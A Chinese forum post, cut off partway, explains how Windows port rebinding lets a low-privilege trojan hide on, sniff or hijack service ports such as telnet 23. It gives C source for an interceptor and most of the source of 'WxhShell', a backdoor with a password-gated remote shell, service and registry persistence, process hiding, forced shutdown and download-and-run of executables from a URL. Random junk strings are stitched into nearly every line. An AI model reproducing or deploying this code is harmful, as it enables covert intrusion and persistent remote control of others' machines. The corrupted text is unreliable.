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[讨论]用端口截听实现隐藏嗅探与攻击

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所在楼道
在WINDOWS的SOCKET服务器应用的编程中,如下的语句或许比比都是: r}qDvC D  
  s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP); stK}K-=`  
AR( gI]1  
  saddr.sin_family = AF_INET; Az y`4  
QB X EM=  
  saddr.sin_addr.s_addr = htonl(INADDR_ANY); Z:^#9D{  
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  bind(s,(SOCKADDR *)&saddr,sizeof(saddr)); ',g%L_8Sq  
hO[_ _j8  
  其实这当中存在在非常大的安全隐患,因为在winsock的实现中,对于服务器的绑定是可以多重绑定的,在确定多重绑定使用谁的时候,根据一条原则是谁的指定最明确则将包递交给谁,而且没有权限之分,也就是说低级权限的用户是可以重绑定在高级权限如服务启动的端口上的,这是非常重大的一个安全隐患。 ZMlBd}H  
&!4E3&+2m  
  这意味着什么?意味着可以进行如下的攻击: ^BLO}9A{P  
<vWP_yy  
  1。一个木马绑定到一个已经合法存在的端口上进行端口的隐藏,他通过自己特定的包格式判断是不是自己的包,如果是自己处理,如果不是通过127.0.0.1的地址交给真正的服务器应用进行处理。 TO89;O  
n[e C  
  2。一个木马可以在低权限用户上绑定高权限的服务应用的端口,进行该处理信息的嗅探,本来在一个主机上监听一个SOCKET的通讯需要具备非常高的权限要求,但其实利用SOCKET重绑定,你可以轻易的监听具备这种SOCKET编程漏洞的通讯,而无须采用什么挂接,钩子或低层的驱动技术(这些都需要具备管理员权限才能达到) .n8O 3V  
7~+Fec`Ut*  
  3。针对一些的特殊应用,可以发起中间人攻击,从低权限用户上获得信息或事实欺骗,如在guest权限下拦截telnet服务器的23端口,如果是采用NTLM加密认证,虽然你无法通过嗅探直接获取密码,但一旦有admin用户通过你登陆以后,你的应用就完全可以发起中间人攻击,扮演这个登陆的用户通过SOCKET发送高权限的命令,到达入侵的目的。 O^CBa$  
4>oM5Yf8  
  4.对于构建的WEB服务器,入侵者只需要获得低级的权限,就可以完全达到更改网页目的,很简单,扮演你的服务器给予连接请求以其他信息的应答,甚至是基于电子商务上的欺骗,获取非法的数据。  (${:5W  
^vM6_=g2E%  
  其实,MS自己的很多服务的SOCKET编程都存在这样的问题,telnet,ftp,http的服务实现全部都可以利用这种方法进行攻击,在低权限用户上实现对SYSTEM应用的截听。包括W2K+SP3的IIS也都一样,那么如果你已经可以以低权限用户入侵或木马植入的话,而且对方又开启了这些服务的话,那就不妨一试。并且我估计还有很多第三方的服务也大多存在这个漏洞。 !HU$V9C  
bv h#Q_  
  解决的方法很简单,在编写如上应用的时候,绑定前需要使用setsockopt指定SO_EXCLUSIVEADDRUSE要求独占所有的端口地址,而不允许复用。这样其他人就无法复用这个端口了。 uMva5o  
Q/3*65  
  下面就是一个简单的截听ms telnet服务器的例子,在GUEST用户下都能成功进行截听,剩余的就是大家根据自己的需要,进行一些特殊剪裁的问题了:如是隐藏,嗅探数据,高权限用户欺骗等。 _+ 9i  
@2. :fK  
  #include ]cP%d-x}  
  #include 4+>yL+sC%v  
  #include dakHH@Q  
  #include    0J/yd  
  DWORD WINAPI ClientThread(LPVOID lpParam);   VD&wO'U  
  int main() @&m]:GR  
  { f_O|  
  WORD wVersionRequested; ?jfh'mCA  
  DWORD ret; I2HV{1(i  
  WSADATA wsaData; Sak^J.~G[  
  BOOL val;  ij:a+T  
  SOCKADDR_IN saddr; XdThl  
  SOCKADDR_IN scaddr; vkJyD/;=  
  int err; ssQ1u.x9  
  SOCKET s; Tv7W)?3h  
  SOCKET sc; r3?8nQ$  
  int caddsize; Z*w({k7]  
  HANDLE mt; C ibfuR  
  DWORD tid;   ]t!v`TH  
  wVersionRequested = MAKEWORD( 2, 2 ); 5P<1I7d  
  err = WSAStartup( wVersionRequested, &wsaData ); l-W)? d  
  if ( err != 0 ) { *A!M0TK?i,  
  printf("error!WSAStartup failed!\n"); TJRp/BP  
  return -1;  ,d/$!Yf  
  } xib}E[-l#  
  saddr.sin_family = AF_INET; j%3 $ytf|p  
   `f}ZAX  
  //截听虽然也可以将地址指定为INADDR_ANY,但是要不能影响正常应用情况下,应该指定具体的IP,留下127.0.0.1给正常的服务应用,然后利用这个地址进行转发,就可以不影响对方正常应用了 32+N?[9 *  
Y_faqmZ 9]  
  saddr.sin_addr.s_addr = inet_addr("192.168.0.60"); ;p*L(8<YI  
  saddr.sin_port = htons(23); jA?[*HB  
  if((s=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) z^gz kXx7  
  { n1|]ji[c  
  printf("error!socket failed!\n"); gYbvCs8O!  
  return -1; i/ o  
  } rMWvW(@@D  
  val = TRUE; chD7 ^&5]  
  //SO_REUSEADDR选项就是可以实现端口重绑定的 0P$19T N  
  if(setsockopt(s,SOL_SOCKET,SO_REUSEADDR,(char *)&val,sizeof(val))!=0) +Q_xY>ej  
  { $#e}9g.  
  printf("error!setsockopt failed!\n"); "K>!+<  
  return -1; E l.eK9L  
  } Bz ,D4 E$  
  //如果指定了SO_EXCLUSIVEADDRUSE,就不会绑定成功,返回无权限的错误代码; pvt/{  
  //如果是想通过重利用端口达到隐藏的目的,就可以动态的测试当前已绑定的端口哪个可以成功,就说明具备这个漏洞,然后动态利用端口使得更隐蔽 R-n%3oh  
  //其实UDP端口一样可以这样重绑定利用,这儿主要是以TELNET服务为例子进行攻击 Kg2@]J9m  
QP<P,Bi~  
  if(bind(s,(SOCKADDR *)&saddr,sizeof(saddr))==SOCKET_ERROR) *]q`:~u2  
  { ;w%g*S  
  ret=GetLastError(); tZ=|1lM  
  printf("error!bind failed!\n"); r{yIF~k@  
  return -1; "e\73?P  
  } $(J)F-DB i  
  listen(s,2); `$ bQ8$+Ci  
  while(1) (1{OQ0N+x  
  { Jnt r"a-4  
  caddsize = sizeof(scaddr); 9|>y[i  
  //接受连接请求 "[A&S!  
  sc = accept(s,(struct sockaddr *)&scaddr,&caddsize); ,t1s#*j\!q  
  if(sc!=INVALID_SOCKET) rf$[8d  
  { Tz& cm =  
  mt = CreateThread(NULL,0,ClientThread,(LPVOID)sc,0,&tid); ND9;%<80  
  if(mt==NULL) 2 (ux  
  { .q]K:}9!\  
  printf("Thread Creat Failed!\n"); :1iXBG\  
  break; aM[fag$c  
  } 6*ZZ)W<  
  } u_WW uo  
  CloseHandle(mt); TKw>eGe  
  } QBoX3w=  
  closesocket(s); g5Hsz,x  
  WSACleanup(); &xlOsr/n  
  return 0; 0Z%<H\Z  
  }   y;9K  
  DWORD WINAPI ClientThread(LPVOID lpParam) ; zy;M5l5.  
  { q|D*H9[ke  
  SOCKET ss = (SOCKET)lpParam; dj0D u^ v4  
  SOCKET sc; ^eYJ7&t  
  unsigned char buf[4096]; WWTJ%Rd|  
  SOCKADDR_IN saddr; Z[j-.,Qu  
  long num; ;rF:$37^  
  DWORD val; ~>$(5 s2  
  DWORD ret; N) z] F9Kg  
  //如果是隐藏端口应用的话,可以在此处加一些判断  [7)#3  
  //如果是自己的包,就可以进行一些特殊处理,不是的话通过127.0.0.1进行转发   `+r5I5  
  saddr.sin_family = AF_INET; BT{({3  
  saddr.sin_addr.s_addr = inet_addr("127.0.0.1"); R?%|RCht1  
  saddr.sin_port = htons(23); C$B?|oUJc  
  if((sc=socket(AF_INET,SOCK_STREAM,IPPROTO_TCP))==SOCKET_ERROR) s{j3F  
  { \=~<I  
  printf("error!socket failed!\n"); tX}Fb0y  
  return -1; WHF:> 0B  
  } Ipmr@%~  
  val = 100; }@A~a`9g  
  if(setsockopt(sc,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) 2I39fZa  
  { *KV] MdS  
  ret = GetLastError(); & l|B>{4v  
  return -1; g(;ejKSR  
  } {gi"ktgk  
  if(setsockopt(ss,SOL_SOCKET,SO_RCVTIMEO,(char *)&val,sizeof(val))!=0) ae1fCw3k  
  { %s)E}cGH  
  ret = GetLastError(); <$9AP  
  return -1;  Q{Bj(f  
  } XJOo.Y  
  if(connect(sc,(SOCKADDR *)&saddr,sizeof(saddr))!=0) 'XQv>J  
  { /3Gv51'  
  printf("error!socket connect failed!\n");  L_Ai/'  
  closesocket(sc); ~d5{Q?T)  
  closesocket(ss); ->#7_W  
  return -1; KoXXNJax  
  } 42Ffx?Qmv  
  while(1) nocH~bAf2  
  { pcl _$2_  
  //下面的代码主要是实现通过127。0。0。1这个地址把包转发到真正的应用上,并把应答的包再转发回去。 SoY&R=  
  //如果是嗅探内容的话,可以再此处进行内容分析和记录 F;NZJEy  
  //如果是攻击如TELNET服务器,利用其高权限登陆用户的话,可以分析其登陆用户,然后利用发送特定的包以劫持的用户身份执行。 bKaV]Uy  
  num = recv(ss,buf,4096,0); ;~q)^.K3  
  if(num>0) 1!NaOfP;@  
  send(sc,buf,num,0); JT-Zo OZ  
  else if(num==0) r#~6FpFVK^  
  break; nW%c95E  
  num = recv(sc,buf,4096,0); 1Q$ M/}  
  if(num>0) _1 JvA-  
  send(ss,buf,num,0); ?8nG F%p  
  else if(num==0) J/*[wj  
  break; J8D-a!  
  } Bms?`7}N  
  closesocket(ss); wLbns qa  
  closesocket(sc); 5m3sjcp_  
  return 0 ; \5l}5<|  
  } dk ?0r  
LMDa68 s  
87/{\h  
========================================================== - |'wDf?H  
0nuFWV  
下边附上一个代码,,WXhSHELL >y@w-,1he  
={oO9.9  
========================================================== &pAT  
;g*6NzdA  
#include "stdafx.h" ,5*4%*n\  
32Z4&~ I  
#include <stdio.h> (TQXG^n$gY  
#include <string.h> Glr.)PA  
#include <windows.h> 3QVng^"B)  
#include <winsock2.h> ;vx9xs?6  
#include <winsvc.h> >j?uI6Uw  
#include <urlmon.h> :U> oW97l  
I|:j~EY  
#pragma comment (lib, "Ws2_32.lib") 57}q'84  
#pragma comment (lib, "urlmon.lib") 1,J.  
!]nCeo  
#define MAX_USER   100 // 最大客户端连接数 xl^'U/  
#define BUF_SOCK   200 // sock buffer zkOgL9 (_8  
#define KEY_BUFF   255 // 输入 buffer |+bG~~~%j  
zl[JnVF\6  
#define REBOOT     0   // 重启 v> 5F[0gE  
#define SHUTDOWN   1   // 关机 S7vE[VF5  
;rKYWj>IR  
#define DEF_PORT   5000 // 监听端口 -iHhpD9"X  
1DP)6{x  
#define REG_LEN     16   // 注册表键长度 SJ-Sac58r  
#define SVC_LEN     80   // NT服务名长度 %ab79RS]C  
wGH@I_cy>  
// 从dll定义API 6>I.*Qt \l  
typedef DWORD (WINAPI pREGISTERSERVICEPROCESS) (DWORD,DWORD); ZIp=JR8o$  
typedef LONG (WINAPI *PROCNTQSIP)(HANDLE,UINT,PVOID,ULONG,PULONG); O#\> j  
typedef BOOL (WINAPI *ENUMPROCESSMODULES) (HANDLE hProcess, HMODULE * lphModule, DWORD cb, LPDWORD lpcbNeeded); 96avgyc  
typedef DWORD (WINAPI *GETMODULEBASENAME) (HANDLE hProcess, HMODULE hModule, LPTSTR lpBaseName, DWORD nSize); u"jnEKN0y  
z"#.o^5  
// wxhshell配置信息 i.]zq  
struct WSCFG { rWXW}Yg  
  int ws_port;         // 监听端口 EiUV?Gvz  
  char ws_passstr[REG_LEN]; // 口令 bph*X{lFK  
  int ws_autoins;       // 安装标记, 1=yes 0=no h~p}08  
  char ws_regname[REG_LEN]; // 注册表键名 ? h%+2  
  char ws_svcname[REG_LEN]; // 服务名 ]N_^{k,  
  char ws_svcdisp[SVC_LEN]; // 服务显示名 pg)g&ifKl  
  char ws_svcdesc[SVC_LEN]; // 服务描述信息 KF)i66  
  char ws_passmsg[SVC_LEN]; // 密码输入提示信息 @U JmbD{  
int ws_downexe;       // 下载执行标记, 1=yes 0=no t^5_;sJQ  
char ws_fileurl[SVC_LEN]; // 下载文件的 url, "http://xxx/file.exe" v"+EBfx  
char ws_filenam[SVC_LEN]; // 下载后保存的文件名 E6k&r}  
ay4xOwcR  
}; Uj)]nJX  
(SK5pU  
// default Wxhshell configuration k;5}@3iQ  
struct WSCFG wscfg={DEF_PORT, D$E9%'ir  
    "xuhuanlingzhe", lv*uXg.k^  
    1, _4$DnQ6&  
    "Wxhshell", =1 \wZuK#  
    "Wxhshell", ".?{Y(~  
            "WxhShell Service", GcW}<g}  
    "Wrsky Windows CmdShell Service", ;7k7/f:  
    "Please Input Your Password: ", %LHV0u  
  1, YPnJldVn  
  "http://www.wrsky.com/wxhshell.exe", `F8;{`a  
  "Wxhshell.exe" &NeY Kh?  
    }; j:3Hm0W3  
^6>|!  
// 消息定义模块 ycD.:w p\'  
char *msg_ws_copyright="\n\rWxhShell v1.0 (C)2005 http://www.wrsky.com\n\rMake by 虚幻灵者\n\r"; -<]_:Kf{;&  
char *msg_ws_prompt="\n\r? for help\n\r#>"; gq3OCA!cX  
char *msg_ws_cmd="\n\ri Install\n\rr Remove\n\rp Path\n\rb reboot\n\rd shutdown\n\rs Shell\n\rx exit\n\rq Quit\n\r\n\rDownload:\n\r#>http://.../server.exe\n\r"; (t$/G3E  
char *msg_ws_ext="\n\rExit."; 0K0=Ob^(e  
char *msg_ws_end="\n\rQuit."; |9]K:A  
char *msg_ws_boot="\n\rReboot..."; L"%eQHEC&  
char *msg_ws_poff="\n\rShutdown..."; mp3_n:R?  
char *msg_ws_down="\n\rSave to "; L$ Ar]O)  
,D,f9  
char *msg_ws_err="\n\rErr!"; G | oG:  
char *msg_ws_ok="\n\rOK!"; :-" jK w  
'<S:|$ $  
char ExeFile[MAX_PATH]; 9mphj)`d;#  
int nUser = 0; = [os<+  
HANDLE handles[MAX_USER]; 9?chCO(@  
int OsIsNt; WV"QY/e3  
}AZx/[k |z  
SERVICE_STATUS       serviceStatus; G;c0  
SERVICE_STATUS_HANDLE   hServiceStatusHandle; mIEaWE;E"  
!&p:=}s  
// 函数声明 9k[},MM  
int Install(void); M`pTT5r  
int Uninstall(void); #'J7Wy  
int DownloadFile(char *sURL, SOCKET wsh); :k(t/*Nl3  
int Boot(int flag); R${4Q1  
void HideProc(void); ]{+M>i[  
int GetOsVer(void); lv_%  
int Wxhshell(SOCKET wsl); 1"B9Z6jf  
void TalkWithClient(void *cs); [3sxzU!t~  
int CmdShell(SOCKET sock); rRrW   
int StartFromService(void); o+Ti$`2<O7  
int StartWxhshell(LPSTR lpCmdLine); c&?a ,fpb  
4m[C-NB!g  
VOID WINAPI NTServiceMain( DWORD dwArgc, LPTSTR *lpszArgv ); ^I~T$YjC '  
VOID WINAPI NTServiceHandler( DWORD fdwControl ); c0Ro3j\p  
@3TkD_B&  
// 数据结构和表定义 `=$jc4@J  
SERVICE_TABLE_ENTRY DispatchTable[] = JKi@Kw  
{ To{G#QEgG  
{wscfg.ws_svcname, NTServiceMain}, vp75u93  
{NULL, NULL} Sb9=$0%\  
}; ]op^dW1;0_  
V&j.>Y  
// 自我安装 {e[pSD6   
int Install(void) -WBz]GW4r  
{ m#'rI=}!  
  char svExeFile[MAX_PATH]; $N+ {r=  
  HKEY key; +9 p`D  
  strcpy(svExeFile,ExeFile); 9_A0:S9Z  
MD ?F1l"}%  
// 如果是win9x系统,修改注册表设为自启动 s.I1L?s1w?  
if(!OsIsNt) { R{xyme@"^  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { $X=D9h  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); ZR-s{2sl  
  RegCloseKey(key); E,D:D3O  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { kl3S~gE4@  
  RegSetValueEx(key,wscfg.ws_regname,0,REG_SZ,(BYTE *)svExeFile,lstrlen(svExeFile)); IL[|CB1v  
  RegCloseKey(key); P2Qyz}!wo  
  return 0; 90h1e7ZcC  
    }  2H K  
  } Rp`_Grcd  
} HMS9y%zl/  
else { H,XLb.  
ci_v7Jnwo  
// 如果是NT以上系统,安装为系统服务 q4.dLU,1  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_CREATE_SERVICE); ~Ri u*<  
if (schSCManager!=0) Q(;B)  
{ 6`4W,  
  SC_HANDLE schService = CreateService VmOFX:j!,  
  ( F@K*T2uh  
  schSCManager, #?$'nya*u  
  wscfg.ws_svcname, @X|i@{<';  
  wscfg.ws_svcdisp, h\u0{!@}  
  SERVICE_ALL_ACCESS, ULNAH`{D  
  SERVICE_WIN32_OWN_PROCESS|SERVICE_INTERACTIVE_PROCESS , n:bB$Ai2  
  SERVICE_AUTO_START, ^`jZKh8)h  
  SERVICE_ERROR_NORMAL, 8pq-nuf|K  
  svExeFile, $nfBv f  
  NULL, wSJ]3gJM`  
  NULL, # +QWi0B  
  NULL, >: W-C{%  
  NULL, CmJ?_>  
  NULL HL(U~Q6JQ  
  ); N7~)qqb  
  if (schService!=0) s?@)a,C%k  
  { F[7Kw"~J  
  CloseServiceHandle(schService); DD@)z0W  
  CloseServiceHandle(schSCManager); e:$7^Y,U/  
  strcpy(svExeFile,"SYSTEM\\CurrentControlSet\\Services\\"); 1(%>`=R8  
  strcat(svExeFile,wscfg.ws_svcname); W<rTq0~$?  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,svExeFile,&key)==ERROR_SUCCESS) { aW=By)S!Y  
  RegSetValueEx(key,"Description",0,REG_SZ,(BYTE *)wscfg.ws_svcdesc,lstrlen(wscfg.ws_svcdesc)); Q_QKm0!  
  RegCloseKey(key); Wiq{wxe  
  return 0; 62MRI    
    } O/D Af|X|  
  } TDAWI_83-  
  CloseServiceHandle(schSCManager); 9RCO|J  
} 42V,PH6o  
} FI1THzW4J  
%qS]NC  
return 1; {*?sVAvj  
} lJ:M^.Em0  
N ;Z`%&  
// 自我卸载 pK6e/eC  
int Uninstall(void) d1~_?V'r]  
{ S]e j=6SP  
  HKEY key; yHWi [7$  
Cdp]Nv6  
if(!OsIsNt) { :H!(?(Pie  
if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\Run",&key)==ERROR_SUCCESS) { Ic[}V0dk  
  RegDeleteValue(key,wscfg.ws_regname); }A4nJ>`tq  
  RegCloseKey(key); )YzHk ;(  
  if(RegOpenKey(HKEY_LOCAL_MACHINE,"Software\\Microsoft\\Windows\\CurrentVersion\\RunServices",&key)==ERROR_SUCCESS) { )|w*/JK\Z  
  RegDeleteValue(key,wscfg.ws_regname); JJ/1daj  
  RegCloseKey(key); y:[BP4H?y  
  return 0; )%iRZ\`f  
  } w~kHQ%A  
} yaH Trh%  
} XYqpI/s  
else {  SwdC,  
!;o\5x<'$O  
SC_HANDLE schSCManager = OpenSCManager( NULL, NULL, SC_MANAGER_ALL_ACCESS); .O5LI35,  
if (schSCManager!=0) 7$!`p,@we/  
{ |Z`M*.d+  
  SC_HANDLE schService = OpenService( schSCManager, wscfg.ws_svcname, SERVICE_ALL_ACCESS); O^.%C`*  
  if (schService!=0) CY*ngi&  
  { Z69+yOJI  
  if(DeleteService(schService)!=0) { ^ckj3Y#;  
  CloseServiceHandle(schService); ! jbEm8bt  
  CloseServiceHandle(schSCManager); 5/& 1Oxo  
  return 0; 2.[_t/T  
  } n K+lE0  
  CloseServiceHandle(schService); r1i$D  
  } 9o-!ecx}  
  CloseServiceHandle(schSCManager); IFiTTIlT0  
} H4M{_2DO  
} FE/$(7rM  
+yzcx3<  
return 1; <=q*N;=T,  
} u-m%=2  
G1}~.%J  
// 从指定url下载文件 mfXD1]<.  
int DownloadFile(char *sURL, SOCKET wsh) ?n!lUr$:y  
{ ]]>nbgGn#  
  HRESULT hr; !G7h9CF|{  
char seps[]= "/"; Vy]A,Rn7  
char *token; N<9w{zIK(  
char *file; l`SK*Bm~<  
char myURL[MAX_PATH]; $Axng J c  
char myFILE[MAX_PATH]; 53B.2 4Tm  
\CcmePTN#x  
strcpy(myURL,sURL); Yt -W1vl  
  token=strtok(myURL,seps); egfi;8]E  
  while(token!=NULL) 5v"Y\k+1  
  { GGH;Z WSe  
    file=token; d-~vR(tU  
  token=strtok(NULL,seps); d!o.ASL{  
  } z1F9$ ^  
=(%*LY!Xc  
GetCurrentDirectory(MAX_PATH,myFILE); cn$5:%IK  
strcat(myFILE, "\\"); VSh!4z1  
strcat(myFILE, file); g[M]i6h2  
  send(wsh,myFILE,strlen(myFILE),0); h-7A9:  
send(wsh,"...",3,0); im=5{PbJ^  
hr = URLDownloadToFile(0, sURL, myFILE, 0, 0); 5? Wg%@  
  if(hr==S_OK) 2xDQ :=ec  
return 0; dsV ~|D6:  
else j~epbl)pC  
return 1; [eyb7\#   
L/BHexOB  
} KGu= ;  
3!aEClRtq  
// 系统电源模块 "=qv#mZ#9  
int Boot(int flag)  =^Th[B  
{ V~85oUc\-  
  HANDLE hToken; gV|Y54}T  
  TOKEN_PRIVILEGES tkp; mH)OB?+lq  
q3+I<qsAz  
  if(OsIsNt) { Wm(:P  
  OpenProcessToken(GetCurrentProcess(),TOKEN_ADJUST_PRIVILEGES | TOKEN_QUERY, &hToken); I]jX7.fx  
    LookupPrivilegeValue(NULL, SE_SHUTDOWN_NAME,&tkp.Privileges[0].Luid); Je^Y&a~  
    tkp.PrivilegeCount = 1; k {a)gFH O  
    tkp.Privileges[0].Attributes = SE_PRIVILEGE_ENABLED; QWw"K$l  
    AdjustTokenPrivileges(hToken, FALSE, &tkp, 0,(PTOKEN_PRIVILEGES)NULL, 0); .3@Ng  
if(flag==REBOOT) { FuuS"G,S  
  if(ExitWindowsEx(EWX_REBOOT | EWX_FORCE, 0)) )A"jVQjI%w  
  return 0; U+} y %3l  
} Atd1qJ  
else { uJY.5w  
  if(ExitWindowsEx(EWX_POWEROFF | EWX_FORCE, 0)) q[P~L`h S  
  return 0; 8b7;\C~$p  
} VD/&%O8n  
  } &$F[/[Ds+  
  else { LJWTSf"f?  
if(flag==REBOOT) { ")ED)&e  
  if(ExitWindowsEx(EWX_REBOOT + EWX_FORCE,0)) j7}lF?cJ2  
  return 0; B9*Sfw%  
} wu2:'y>n  
else { <(YF5Xm6$h  
  if(ExitWindowsEx(EWX_SHUTDOWN + EWX_FORCE,0)) f*<ps o  
  return 0; ra:GzkIw  
} -2 x E#r  
} J)*8|E9P  
?L\z}0#  
return 1; C`0%C7  
} \5hw9T&[B  
4gOgWBv  
// win9x进程隐藏模块 BSKEh"f  
void HideProc(void) C_G1P)k  
{ >rw"Rd'  
G#0,CLGN^  
  HINSTANCE hKernel=LoadLibrary("Kernel32.dll"); E0YU[([G  
  if ( hKernel != NULL ) <Oa9oM},d  
  { *S4aF*Qk  
pREGISTERSERVICEPROCESS *pRegisterServiceProcess=(pREGISTERSERVICEPROCESS *)GetProcAddress(hKernel,"RegisterServiceProcess"); iNJAZ6@+  
    ( *pRegisterServiceProcess)(GetCurrentProcessId(),1); SA+d&H}Fc  
    FreeLibrary(hKernel); c&*l"  
  } 3gc"_C\$  
[4>r6Hqxr  
return; ,QvYTJ{  
} k 4B_W  
.S_QQM}Q  
// 获取操作系统版本 C3}Aq8$6  
int GetOsVer(void) J`<f  
{ a#y{pT2 b  
  OSVERSIONINFO winfo; XG&K32_fs  
  winfo.dwOSVersionInfoSize=sizeof(OSVERSIONINFO); 7Z0/(V.-  
  GetVersionEx(&winfo); C[8KlD  
  if(winfo.dwPlatformId==VER_PLATFORM_WIN32_NT) 9p`r7:  
  return 1; <hv7s,i  
  else J=*K"8Qr  
  return 0; s.:r;%a  
} i&&qbZt  
y5u\j{?Te  
// 客户端句柄模块 Uh}X<d/V  
int Wxhshell(SOCKET wsl) DYRE1!  
{ M|r8KW~S)  
  SOCKET wsh; /{X_ .fv<v  
  struct sockaddr_in client; 7'OPjt M  
  DWORD myID; !ZrB^?sO  
S}7>RHe  
  while(nUser<MAX_USER) kcS6_l  
{ f#P_xn&et  
  int nSize=sizeof(client); >^3zU   
    wsh=accept(wsl,(struct sockaddr *)&client,&nSize); }V]eg,.BJ  
  if(wsh==INVALID_SOCKET) return 1; FkB{ SC J  
u+2Lm*M  
handles[nUser]=CreateThread(0,1000,(LPTHREAD_START_ROUTINE) TalkWithClient,(VOID *) wsh, 0, &myID); ~/|zlu*jpc  
if(handles[nUser]==0) c7qwNs*f  
  closesocket(wsh); ;|TT(P:d  
else vg(K$o{BT  
  nUser++; O >FO>  
  } O,mip  
  WaitForMultipleObjects(MAX_USER,handles,TRUE,INFINITE); <AUWby,"  
,4Y*:JU4  
  return 0; O&'/J8  
} 2[up+;%Y  
0M8.U  
// 关闭 socket p5<2N  
void CloseIt(SOCKET wsh) te'*<HM  
{ %-j&e44  
closesocket(wsh); If'2rE7J  
nUser--; Ro r2qDF  
ExitThread(0); sX:lE^)-z  
}  U:|H9+5  
de YyaV  
// 客户端请求句柄 H06Bj(Y!  
void TalkWithClient(void *cs) & iSD/W  
{ \+Y!ILOI  
Z@J.1SaB  
  SOCKET wsh=(SOCKET)cs; jvs[ /  
  char pwd[SVC_LEN]; qI2'u%  
  char cmd[KEY_BUFF]; 6fwY$K\X  
char chr[1]; O3%[dR  
int i,j; ?63&g{vA  
K{b-TT 4  
  while (nUser < MAX_USER) { R]Qp Mj%o  
&1Fply7(Ay  
if(wscfg.ws_passstr) { S()Za@ [a$  
  if(strlen(wscfg.ws_passmsg)) send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); ax@H"d&  
      //send(wsh,wscfg.ws_passmsg,strlen(wscfg.ws_passmsg),0); E _iO@  
  //ZeroMemory(pwd,KEY_BUFF); OD+5q(!"a  
      i=0; gb 4pN  
  while(i<SVC_LEN) { zk=\lp2  
W9R`A  
  // 设置超时 & _K*kI:  
  fd_set FdRead; .nZ3kT`  
  struct timeval TimeOut; BUC,M:J+H  
  FD_ZERO(&FdRead); ,7,;twKz  
  FD_SET(wsh,&FdRead); +?d}7zh  
  TimeOut.tv_sec=8; 6/2v  
  TimeOut.tv_usec=0; JSW&rn  
  int Er=select(wsh+1, &FdRead, NULL, NULL, &TimeOut); 9 P"iuU  
  if((Er==SOCKET_ERROR) || (Er==0)) CloseIt(wsh); \G;CQV#{9  
7+ XM3  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); [7W(NeMk  
  pwd=chr[0]; &" h]y?Q  
  if(chr[0]==0xd || chr[0]==0xa) { Alz~-hqQ  
  pwd=0; 0BTLcEqgZ  
  break; SS8ocGX  
  } +d39f-[  
  i++; 7B FN|S_l  
    } ')o0O9/;  
B\_[R'Pf&  
  // 如果是非法用户,关闭 socket } uQ${]&D  
        if(strcmp(pwd,wscfg.ws_passstr)) CloseIt(wsh); DO^y;y>  
} *Bw#c j  
:ba/W&-d  
send(wsh,msg_ws_copyright,strlen(msg_ws_copyright),0); ULl_\5s2  
  send(wsh,msg_ws_prompt,strlen(msg_ws_prompt),0); *not.2+  
#T% zfcUj  
while(1) { /V^sJ($V$~  
z="L4  
  ZeroMemory(cmd,KEY_BUFF); +qkMQETV6  
"!q?P" @C  
      // 自动支持客户端 telnet标准   $G[KT):N  
  j=0; 6P+DnS[]  
  while(j<KEY_BUFF) { X8CVY0<o  
  if(recv(wsh,chr,1,0)==SOCKET_ERROR) CloseIt(wsh); POGw`:)A  
  cmd[j]=chr[0]; =_QkH!vI  
  if(chr[0]==0xa || chr[0]==0xd) { |Fv?6qw+  
  cmd[j]=0; knSuzq%*  
  break; 9X]f[^  
  } g42T#p8^  
  j++; #&siHHs \  
    } )iSy@*nY  
wj%wp[KA$  
  // 下载文件 JEHK:1^  
  if(strstr(cmd,"http://")) { &r@H(}$1\  
  send(wsh,msg_ws_down,strlen(msg_ws_down),0); 0Hcbkep9D  
  if(DownloadFile(cmd,wsh)) }1m_o@{3P  
  send(wsh,msg_ws_err,strlen(msg_ws_err),0); s*JE)  
  else O5-;I,)H  
  send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); e &3#2_  
  } 2Xgx*'t\  
  else { o!Fl]3F  
#F4X}  
    switch(cmd[0]) { <SQ(~xYi  
  a8JN19}D  
  // 帮助 j9xXKa5  
  case '?': { ./.=Rw  
      send(wsh,msg_ws_cmd,strlen(msg_ws_cmd),0); 0j$OE  
    break; rzV"Dm$'  
  } 7) 0q--B  
  // 安装 DHzkRCM  
  case 'i': { BXA]9eK  
    if(Install()) z!CD6W1n  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Ab g$W/(|  
    else B] i:)   
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); ,}<RrUfD  
    break; Z| L2oc e  
    } .)`-Hkxa  
  // 卸载 D rTM$)  
  case 'r': {  !!+Da>  
    if(Uninstall()) %#9P?COs&W  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); RbAt3k;y  
    else 4Hd Si  
    send(wsh,msg_ws_ok,strlen(msg_ws_ok),0); la702)N{  
    break; W5I=X] &  
    } 'w6hW7"L  
  // 显示 wxhshell 所在路径 @dV9Dpu  
  case 'p': { pqq?*\W&[v  
    char svExeFile[MAX_PATH]; 1;`Fe":;vC  
    strcpy(svExeFile,"\n\r"); JUU&Z[6J  
      strcat(svExeFile,ExeFile); w\DspF  
        send(wsh,svExeFile,strlen(svExeFile),0); ,s? dAy5  
    break; 4:3_ER]J  
    } (H-cDsh;c  
  // 重启 n?Zf/T  
  case 'b': { 5H!%0LrJg=  
    send(wsh,msg_ws_boot,strlen(msg_ws_boot),0); [R\=M'  
    if(Boot(REBOOT)) ai^t= s  
    send(wsh,msg_ws_err,strlen(msg_ws_err),0); Bb_Q_<DTs  
    else { xgs@gw7!n0  
    closesocket(wsh); 97]4 :Zv  
    ExitThread(0); 4cB&Hk  
    } yM|g|;U  
    break; OQc{ V  
    } j"6:A  
  // 关机 sMX$Q45e  
  case 'd': { GEfY^! F+  
